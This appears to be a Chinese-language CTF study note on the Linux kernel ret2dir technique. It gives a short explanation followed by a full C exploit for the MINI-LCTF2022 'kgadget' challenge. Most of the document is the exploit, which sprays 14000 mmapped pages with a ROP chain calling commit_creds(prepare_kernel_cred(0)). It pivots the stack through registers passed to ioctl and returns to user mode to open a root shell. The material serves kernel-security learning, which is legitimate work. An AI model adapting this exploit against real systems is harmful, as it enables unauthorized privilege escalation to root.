ret2dir
ret2dir 学习记录
要努力战斗啊...
——为了一个“拳打()脚踢()”的梦想
原理
内核的虚拟地址空间中有一个线性映射区,线性映射了整个物理内存空间(能做到这一点是因为64位的CPU的寻址空间实在是太大了,远远大于现在RAM的容量)。我们可以通过在用户态利用mmap申请走内存中的大量页框,并在每个页框中大肆喷射payload(由于这段空间不可执行,一般喷射内容为ROP链)。然后再内核中我们劫持内核程序执行流(通过如指针解引用方式使用这个线性映射区中的数据,再栈迁移过来等)。由于这个区域直接映射物理内存,且物理内存页已经被我们喷满了payload,即便我们不太清楚我们payload具体在哪个位置,由于大面积的喷射,我们填一个随便的数值也大概率命中被喷射的页框。
实战
kgadget,取自attnba3佬的博客 例题:MINI-LCTF2022 - kgadget
执行ioctl的时候,剩下的寄存器会被传到栈上,绝大多数寄存器的数据传到栈上就被清了,但是r8和r9没有。因此可以在栈上布置数据。
降栈gadget找的真妙。
EXP
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>
//0xffffffff8106f989 : add rsp, 0xd0 ; ret
size_t page_size;
size_t commit_creds=0xffffffff810c92e0;
size_t prepare_kernel_cred=0xffffffff810c9540;
size_t pop_rdi_ret=0xffffffff8108c6f0;
//0xffffffff81580daa : mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff81580d9d ; pop rbp ; ret
size_t magic_gadget=0xffffffff81580daa;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81c00fcb;
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret= 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;
size_t pop_rsp_ret=0xffffffff811483d0;
int backdoor(){
system("/bin/sh");
return 0;
}
unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int fd;
size_t try_hit=0xffff888000000000+0x7000000;
void createROP(size_t* ROP){
int idx=0;
for (; idx < (page_size / 8 - 0x30); idx++)
ROP[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
for (; idx < (page_size / 8 - 0x10); idx++)
ROP[idx] = ret;
ROP[idx++]=pop_rdi_ret;
ROP[idx++]=0;
ROP[idx++]=prepare_kernel_cred;
ROP[idx++]=magic_gadget;
ROP[idx++]=0;
ROP[idx++]=commit_creds;
ROP[idx++]=swapgs_restore_regs_and_return_to_usermode;
ROP[idx++]=0;
ROP[idx++]=0;
ROP[idx++]=(size_t)backdoor;
ROP[idx++]=user_cs;
ROP[idx++]=user_rflags;
ROP[idx++]=user_sp;
ROP[idx++]=user_ss;
}
int main(){
save_status();
fd=open("/dev/kgadget",O_RDWR);
if(!fd)
printf("open error");
page_size = sysconf(_SC_PAGESIZE);
printf("page size: %lx\n",page_size);
size_t* ptr[14000]={0};
for(int i=0;i<14000;i++){
ptr[i]=mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
createROP(ptr[i]);
}
__asm__(
"mov r9, pop_rsp_ret;"
"mov r8, try_hit;"
"mov r10, 0xAAAAAAAA;"
"mov r11, 0xBBBBBBBB;"
"mov r12, 0xCCCCCCCC;"
"mov r13, 0xDDDDDDDD;"
"mov r14, 0xEEEEEEEE;"
"mov r15, 0xFFFFFFFF;"
"mov rcx, 0x0;"
"mov rdi, fd;"
"mov rsi, 0x1BF52;"
"mov rdx, try_hit;"
"mov rax, 0x10;"
"syscall;"
);
}